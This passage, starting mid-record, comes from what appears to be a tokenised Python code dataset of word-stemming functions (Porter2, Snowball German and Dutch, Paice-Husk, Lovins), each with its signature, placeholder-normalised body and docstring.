(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>):<EOL><INDENT>if word[-len(suffix) :] == suffix:<EOL><INDENT>if len(word[r2_start:]) >= len(suffix):<EOL><INDENT>word = word[: -len(suffix)]<EOL><DEDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if (<EOL>len(word[r2_start:]) >= <NUM_LIT:3><EOL>and len(word) >= <NUM_LIT:4><EOL>and word[-<NUM_LIT:4>] in tuple('<STR_LIT>')<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT><DEDENT>if word[-<NUM_LIT:1>] == '<STR_LIT:e>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:1> or (<EOL>len(word[r1_start:]) >= <NUM_LIT:1><EOL>and not self._sb_ends_in_short_syllable(word[:-<NUM_LIT:1>])<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:1>] == '<STR_LIT:l>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:1> and word[-<NUM_LIT:2>] == '<STR_LIT:l>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>for i in range(<NUM_LIT:0>, len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:Y>':<EOL><INDENT>word = word[:i] + '<STR_LIT:y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return the Porter2 (Snowball English) stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n        early_english : bool\n            Set to True in order to remove -eth & -est (2nd & 3rd person\n            singular verbal agreement suffixes)\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = Porter2()\n        >>> stmr.stem('reading')\n        'read'\n        >>> stmr.stem('suspension')\n        'suspens'\n        >>> stmr.stem('elusiveness')\n        'elus'\n\n        >>> stmr.stem('eateth', early_english=True)\n        'eat'", "id": "f6556:c0:m0"}
{"signature": "def sb_german(word, alternate_vowels=False):", "body": "return SnowballGerman().stem(word, alternate_vowels)<EOL>", "docstring": "Return Snowball German stem.\n\n    This is a wrapper for :py:meth:`SnowballGerman.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n    alternate_vowels : bool\n        Composes ae as \u00e4, oe as \u00f6, and ue as \u00fc before running the algorithm\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> sb_german('lesen')\n    'les'\n    >>> sb_german('graues')\n    'grau'\n    >>> sb_german('buchstabieren')\n    'buchstabi'", "id": "f6557:m0"}
{"signature": "def stem(self, word, alternate_vowels=False):", "body": "<EOL>word = normalize('<STR_LIT>', word.lower())<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if len(word) > <NUM_LIT:2>:<EOL><INDENT>for i in range(<NUM_LIT:2>, len(word)):<EOL><INDENT>if word[i] in self._vowels and word[i - <NUM_LIT:2>] in self._vowels:<EOL><INDENT>if word[i - <NUM_LIT:1>] == '<STR_LIT:u>':<EOL><INDENT>word = word[: i - <NUM_LIT:1>] + '<STR_LIT>' + word[i:]<EOL><DEDENT>elif word[i - <NUM_LIT:1>] == '<STR_LIT:y>':<EOL><INDENT>word = word[: i - <NUM_LIT:1>] + '<STR_LIT:Y>' + word[i:]<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if alternate_vowels:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>r1_start = max(<NUM_LIT:3>, self._sb_r1(word))<EOL>r2_start = self._sb_r2(word)<EOL>niss_flag = False<EOL>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL>niss_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL>niss_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:1>:] == '<STR_LIT:e>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:1>:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL>niss_flag = True<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:1>:] == '<STR_LIT:s>':<EOL><INDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:1><EOL>and len(word) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:2>] in self._s_endings<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if niss_flag and word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:2><EOL>and len(word) >= <NUM_LIT:6><EOL>and word[-<NUM_LIT:3>] in self._st_endings<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4> and word[-<NUM_LIT:5>] != '<STR_LIT:e>':<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>if word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'} and len(word[r1_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>if word[-<NUM_LIT:4>:] == '<STR_LIT>' and len(word[r2_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>' and len(word[r2_start:]) >= <NUM_LIT:2>:<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] in {'<STR_LIT:end>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>if (<EOL>word[-<NUM_LIT:2>:] == '<STR_LIT>'<EOL>and len(word[r2_start:]) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:3>] != '<STR_LIT:e>'<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:2> and word[-<NUM_LIT:3>] != '<STR_LIT:e>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>for i in range(<NUM_LIT:0>, len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:Y>':<EOL><INDENT>word = word[:i] + '<STR_LIT:y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT:u>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>_umlauts = dict(zip((ord(_) for _ in '<STR_LIT>'), '<STR_LIT>'))<EOL>word = word.translate(_umlauts)<EOL>return word<EOL>", "docstring": "Return Snowball German stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n        alternate_vowels : bool\n            Composes ae as \u00e4, oe as \u00f6, and ue as \u00fc before running the algorithm\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SnowballGerman()\n        >>> stmr.stem('lesen')\n        'les'\n        >>> stmr.stem('graues')\n        'grau'\n        >>> stmr.stem('buchstabieren')\n        'buchstabi'", "id": "f6557:c0:m0"}
{"signature": "def sb_dutch(word):", "body": "return SnowballDutch().stem(word)<EOL>", "docstring": "Return Snowball Dutch stem.\n\n    This is a wrapper for :py:meth:`SnowballDutch.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> sb_dutch('lezen')\n    'lez'\n    >>> sb_dutch('opschorting')\n    'opschort'\n    >>> sb_dutch('ongrijpbaarheid')\n    'ongrijp'", "id": "f6558:m0"}
{"signature": "def _undouble(self, word):", "body": "if (<EOL>len(word) > <NUM_LIT:1><EOL>and word[-<NUM_LIT:1>] == word[-<NUM_LIT:2>]<EOL>and word[-<NUM_LIT:1>] in {'<STR_LIT:d>', '<STR_LIT:k>', '<STR_LIT:t>'}<EOL>):<EOL><INDENT>return word[:-<NUM_LIT:1>]<EOL><DEDENT>return word<EOL>", "docstring": "Undouble endings -kk, -dd, and -tt.\n\n        Parameters\n        ----------\n        word : str\n          The word to stem\n\n        Returns\n        -------\n        str\n            The word with doubled endings undoubled", "id": "f6558:c0:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = word.translate(self._accented)<EOL>for i in range(len(word)):<EOL><INDENT>if i == <NUM_LIT:0> and word[<NUM_LIT:0>] == '<STR_LIT:y>':<EOL><INDENT>word = '<STR_LIT:Y>' + word[<NUM_LIT:1>:]<EOL><DEDENT>elif word[i] == '<STR_LIT:y>' and word[i - <NUM_LIT:1>] in self._vowels:<EOL><INDENT>word = word[:i] + '<STR_LIT:Y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif (<EOL>word[i] == '<STR_LIT:i>'<EOL>and word[i - <NUM_LIT:1>] in self._vowels<EOL>and i + <NUM_LIT:1> < len(word)<EOL>and word[i + <NUM_LIT:1>] in self._vowels<EOL>):<EOL><INDENT>word = word[:i] + '<STR_LIT:I>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>r1_start = max(<NUM_LIT:3>, self._sb_r1(word))<EOL>r2_start = self._sb_r2(word)<EOL>if word[-<NUM_LIT:5>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:5>:<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT:id>'<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:3> and (<EOL>word[-<NUM_LIT:4>] not in self._vowels and word[-<NUM_LIT:6>:-<NUM_LIT:3>] != '<STR_LIT>'<EOL>):<EOL><INDENT>word = self._undouble(word[:-<NUM_LIT:3>])<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2> and (<EOL>word[-<NUM_LIT:3>] not in self._vowels and word[-<NUM_LIT:5>:-<NUM_LIT:2>] != '<STR_LIT>'<EOL>):<EOL><INDENT>word = self._undouble(word[:-<NUM_LIT:2>])<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:3>] not in self._not_s_endings<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:1>:] == '<STR_LIT:s>':<EOL><INDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:1><EOL>and word[-<NUM_LIT:2>] not in self._not_s_endings<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>e_removed = False<EOL>if word[-<NUM_LIT:1>:] == '<STR_LIT:e>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:1> and word[-<NUM_LIT:2>] not in self._vowels:<EOL><INDENT>word = self._undouble(word[:-<NUM_LIT:1>])<EOL>e_removed = True<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4> and word[-<NUM_LIT:5>] != '<STR_LIT:c>':<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r1_start:]) >= <NUM_LIT:2> and (<EOL>word[-<NUM_LIT:3>] not in self._vowels and word[-<NUM_LIT:5>:-<NUM_LIT:2>] != '<STR_LIT>'<EOL>):<EOL><INDENT>word = self._undouble(word[:-<NUM_LIT:2>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL>if word[-<NUM_LIT:1>:] == '<STR_LIT:e>':<EOL><INDENT>if (<EOL>len(word[r1_start:]) >= <NUM_LIT:1><EOL>and word[-<NUM_LIT:2>] not in self._vowels<EOL>):<EOL><INDENT>word = self._undouble(word[:-<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:4>:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] in ('<STR_LIT:end>', '<STR_LIT>'):<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:3>:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL>if (<EOL>word[-<NUM_LIT:2>:] == '<STR_LIT>'<EOL>and len(word[r2_start:]) >= <NUM_LIT:2><EOL>and word[-<NUM_LIT:3>] != '<STR_LIT:e>'<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>word = self._undouble(word)<EOL><DEDENT><DEDENT><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT:bar>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:3> and e_removed:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if len(word[r2_start:]) >= <NUM_LIT:2> and word[-<NUM_LIT:3>] != '<STR_LIT:e>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT><DEDENT>if (<EOL>len(word) >= <NUM_LIT:4><EOL>and word[-<NUM_LIT:3>] == word[-<NUM_LIT:2>]<EOL>and word[-<NUM_LIT:2>] in {'<STR_LIT:a>', '<STR_LIT:e>', '<STR_LIT:o>', '<STR_LIT:u>'}<EOL>and word[-<NUM_LIT:4>] not in self._vowels<EOL>and word[-<NUM_LIT:1>] not in self._vowels<EOL>and word[-<NUM_LIT:1>] != '<STR_LIT:I>'<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>] + word[-<NUM_LIT:1>]<EOL><DEDENT>for i in range(<NUM_LIT:0>, len(word)):<EOL><INDENT>if word[i] == '<STR_LIT:Y>':<EOL><INDENT>word = word[:i] + '<STR_LIT:y>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT:I>':<EOL><INDENT>word = word[:i] + '<STR_LIT:i>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return Snowball Dutch stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = SnowballDutch()\n        >>> stmr.stem('lezen')\n        'lez'\n        >>> stmr.stem('opschorting')\n        'opschort'\n        >>> stmr.stem('ongrijpbaarheid')\n        'ongrijp'", "id": "f6558:c0:m1"}
{"signature": "def paice_husk(word):", "body": "return PaiceHusk().stem(word)<EOL>", "docstring": "Return Paice-Husk stem.\n\n    This is a wrapper for :py:meth:`PaiceHusk.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> paice_husk('assumption')\n    'assum'\n    >>> paice_husk('verifiable')\n    'ver'\n    >>> paice_husk('fancies')\n    'fant'\n    >>> paice_husk('fanciful')\n    'fancy'\n    >>> paice_husk('torment')\n    'tor'", "id": "f6559:m0"}
{"signature": "def stem(self, word):", "body": "terminate = False<EOL>intact = True<EOL>while not terminate:<EOL><INDENT>for n in range(<NUM_LIT:6>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if word[-n:] in self._rule_table[n]:<EOL><INDENT>accept = False<EOL>if len(self._rule_table[n][word[-n:]]) < <NUM_LIT:4>:<EOL><INDENT>for rule in self._rule_table[n][word[-n:]]:<EOL><INDENT>(<EOL>word,<EOL>accept,<EOL>intact,<EOL>terminate,<EOL>) = self._apply_rule(word, rule, intact, terminate)<EOL>if accept:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rule = self._rule_table[n][word[-n:]]<EOL>(word, accept, intact, terminate) = self._apply_rule(<EOL>word, rule, intact, terminate<EOL>)<EOL><DEDENT>if accept:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return Paice-Husk stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = PaiceHusk()\n        >>> stmr.stem('assumption')\n        'assum'\n        >>> stmr.stem('verifiable')\n        'ver'\n        >>> stmr.stem('fancies')\n        'fant'\n        >>> stmr.stem('fanciful')\n        'fancy'\n        >>> stmr.stem('torment')\n        'tor'", "id": "f6559:c0:m3"}
{"signature": "def _sb_r1(self, term, r1_prefixes=None):", "body": "vowel_found = False<EOL>if hasattr(r1_prefixes, '<STR_LIT>'):<EOL><INDENT>for prefix in r1_prefixes:<EOL><INDENT>if term[: len(prefix)] == prefix:<EOL><INDENT>return len(prefix)<EOL><DEDENT><DEDENT><DEDENT>for i in range(len(term)):<EOL><INDENT>if not vowel_found and term[i] in self._vowels:<EOL><INDENT>vowel_found = True<EOL><DEDENT>elif vowel_found and term[i] not in self._vowels:<EOL><INDENT>return i + <NUM_LIT:1><EOL><DEDENT><DEDENT>return len(term)<EOL>", "docstring": "Return the R1 region, as defined in the Porter2 specification.\n\n        Parameters\n        ----------\n        term : str\n            The term to examine\n        r1_prefixes : set\n            Prefixes to consider\n\n        Returns\n        -------\n        int\n            Length of the R1 region", "id": "f6561:c0:m0"}
{"signature": "def _sb_r2(self, term, r1_prefixes=None):", "body": "r1_start = self._sb_r1(term, r1_prefixes)<EOL>return r1_start + self._sb_r1(term[r1_start:])<EOL>", "docstring": "Return the R2 region, as defined in the Porter2 specification.\n\n        Parameters\n        ----------\n        term : str\n            The term to examine\n        r1_prefixes : set\n            Prefixes to consider\n\n        Returns\n        -------\n        int\n            Length of the R1 region", "id": "f6561:c0:m1"}
{"signature": "def _sb_ends_in_short_syllable(self, term):", "body": "if not term:<EOL><INDENT>return False<EOL><DEDENT>if len(term) == <NUM_LIT:2>:<EOL><INDENT>if term[-<NUM_LIT:2>] in self._vowels and term[-<NUM_LIT:1>] not in self._vowels:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif len(term) >= <NUM_LIT:3>:<EOL><INDENT>if (<EOL>term[-<NUM_LIT:3>] not in self._vowels<EOL>and term[-<NUM_LIT:2>] in self._vowels<EOL>and term[-<NUM_LIT:1>] in self._codanonvowels<EOL>):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return True iff term ends in a short syllable.\n\n        (...according to the Porter2 specification.)\n\n        NB: This is akin to the CVC test from the Porter stemmer. The\n        description is unfortunately poor/ambiguous.\n\n        Parameters\n        ----------\n        term : str\n            The term to examine\n\n        Returns\n        -------\n        bool\n            True iff term ends in a short syllable", "id": "f6561:c0:m2"}
{"signature": "def _sb_short_word(self, term, r1_prefixes=None):", "body": "if self._sb_r1(term, r1_prefixes) == len(<EOL>term<EOL>) and self._sb_ends_in_short_syllable(term):<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return True iff term is a short word.\n\n        (...according to the Porter2 specification.)\n\n        Parameters\n        ----------\n        term : str\n            The term to examine\n        r1_prefixes : set\n            Prefixes to consider\n\n        Returns\n        -------\n        bool\n            True iff term is a short word", "id": "f6561:c0:m3"}
{"signature": "def _sb_has_vowel(self, term):", "body": "for letter in term:<EOL><INDENT>if letter in self._vowels:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return Porter helper function _sb_has_vowel value.\n\n        Parameters\n        ----------\n        term : str\n            The term to examine\n\n        Returns\n        -------\n        bool\n            True iff a vowel exists in the term (as defined in the Porter\n            stemmer definition)", "id": "f6561:c0:m4"}
{"signature": "def lovins(word):", "body": "return Lovins().stem(word)<EOL>", "docstring": "Return Lovins stem.\n\n    This is a wrapper for :py:meth:`Lovins.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str: Word stem\n\n    Examples\n    --------\n    >>> lovins('reading')\n    'read'\n    >>> lovins('suspension')\n    'suspens'\n    >>> lovins('elusiveness')\n    'elus'", "id": "f6562:m0"}
{"signature": "def _cond_b(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:3><EOL>", "docstring": "Return Lovins' condition B.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m0"}
{"signature": "def _cond_c(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:4><EOL>", "docstring": "Return Lovins' condition C.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m1"}
{"signature": "def _cond_d(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:5><EOL>", "docstring": "Return Lovins' condition D.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m2"}
{"signature": "def _cond_e(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] != '<STR_LIT:e>'<EOL>", "docstring": "Return Lovins' condition E.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m3"}
{"signature": "def _cond_f(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:3> and word[-suffix_len - <NUM_LIT:1>] != '<STR_LIT:e>'<EOL>", "docstring": "Return Lovins' condition F.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m4"}
{"signature": "def _cond_g(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:3> and word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:f>'<EOL>", "docstring": "Return Lovins' condition G.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m5"}
{"signature": "def _cond_h(self, word, suffix_len):", "body": "return (<EOL>word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:t>'<EOL>or word[-suffix_len - <NUM_LIT:2> : -suffix_len] == '<STR_LIT>'<EOL>)<EOL>", "docstring": "Return Lovins' condition H.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m6"}
{"signature": "def _cond_i(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] not in {'<STR_LIT:e>', '<STR_LIT:o>'}<EOL>", "docstring": "Return Lovins' condition I.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m7"}
{"signature": "def _cond_j(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] not in {'<STR_LIT:a>', '<STR_LIT:e>'}<EOL>", "docstring": "Return Lovins' condition J.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m8"}
{"signature": "def _cond_k(self, word, suffix_len):", "body": "return (len(word) - suffix_len >= <NUM_LIT:3>) and (<EOL>word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:i>', '<STR_LIT:l>'}<EOL>or (word[-suffix_len - <NUM_LIT:3>] == '<STR_LIT:u>' and word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:e>')<EOL>)<EOL>", "docstring": "Return Lovins' condition K.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m9"}
{"signature": "def _cond_l(self, word, suffix_len):", "body": "return (<EOL>word[-suffix_len - <NUM_LIT:1>] not in {'<STR_LIT:s>', '<STR_LIT:u>', '<STR_LIT:x>'}<EOL>or word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT>'<EOL>)<EOL>", "docstring": "Return Lovins' condition L.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m10"}
{"signature": "def _cond_m(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] not in {'<STR_LIT:a>', '<STR_LIT:c>', '<STR_LIT:e>', '<STR_LIT:m>'}<EOL>", "docstring": "Return Lovins' condition M.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m11"}
{"signature": "def _cond_n(self, word, suffix_len):", "body": "if len(word) - suffix_len >= <NUM_LIT:3>:<EOL><INDENT>if word[-suffix_len - <NUM_LIT:3>] == '<STR_LIT:s>':<EOL><INDENT>if len(word) - suffix_len >= <NUM_LIT:4>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Return Lovins' condition N.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m12"}
